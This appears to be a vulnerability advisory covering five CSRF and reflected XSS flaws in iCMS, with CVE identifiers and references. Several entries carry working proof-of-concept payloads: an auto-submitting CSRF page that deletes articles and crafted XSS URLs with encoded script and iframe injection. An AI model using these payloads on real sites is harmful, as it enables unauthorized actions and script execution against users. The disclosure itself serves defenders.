SB2019092302 - Multiple vulnerabilities in iCMS
Published: September 23, 2019 Updated: April 27, 2020
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 5 secuirty vulnerabilities.
1) Cross-site request forgery (CVE-ID: CVE-2019-16677)
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in admincp.php?app=members&do=del, when empty CSRF token is passed. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete all application users.Example:
http://[host]/admincp.php?app=members&do=del&id=1&frame=iPHP&CSRF_TOKEN= 2) Cross-site request forgery (CVE-ID: CVE-2019-8902)
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin. A remote authenticated attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as delete users' articles via the "public/api.php?app=user" URI.
PoC:
<html>
<body>
<script type="text/javascript">
var x = document.cookie;
alert(x);
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='id' value='1'>";
fields += "<input type='hidden' name='act' value='trash'>";
fields += "<input type='hidden' name='pg' value='article'>";
fields += "<input type='hidden' name='action' value='manage'>";
var url = "http://localhost/iCMS-7.0/public/api.php?app=user";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body>
</html> 3) Reflected cross-site scripting (CVE-ID: CVE-2019-11427)
The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "public/api.php?app=search" q parameter to the "app/search/search.app.php" file. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
PoC:
http://[host]/public/api.php?app=search&q=admin%27l0cub%2522autofocus%0aonfocus%01%253dconfirm(1)%20%253d%2522b%2522alzbk 4) Reflected cross-site scripting (CVE-ID: CVE-2019-11426)
The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "admincp.php?app=config" tab parameter to the "app/admincp/template/admincp.header.php" file. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
PoC:
http://[host]/admincp.php?app=config&tab=cachezpl4%3C/script%3E%3Ciframe+src=data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ%2b%3E=1+laaaa 5) Reflected cross-site scripting (CVE-ID: CVE-2019-14976)
The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data passed via the "keywords" parameter to the "admincp.php?app=apps". A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
PoC:
http://[host]/admincp.php?app=apps&perpage=50&keywords=XSS
Remediation
Cybersecurity Help is not aware of any official remediation provided by the vendor.
References
- https://github.com/idreamsoft/iCMS/issues/76
- https://github.com/idreamsoft/iCMS/commit/c7cab1ed4533187c6164807b3ed3228572d5609f
- https://github.com/idreamsoft/iCMS/issues/56
- https://github.com/idreamsoft/iCMS/issues/64
- https://github.com/idreamsoft/iCMS/commit/387b37ccf35afcb14d478d644011c8ecd101c3a4
- https://github.com/idreamsoft/iCMS/issues/71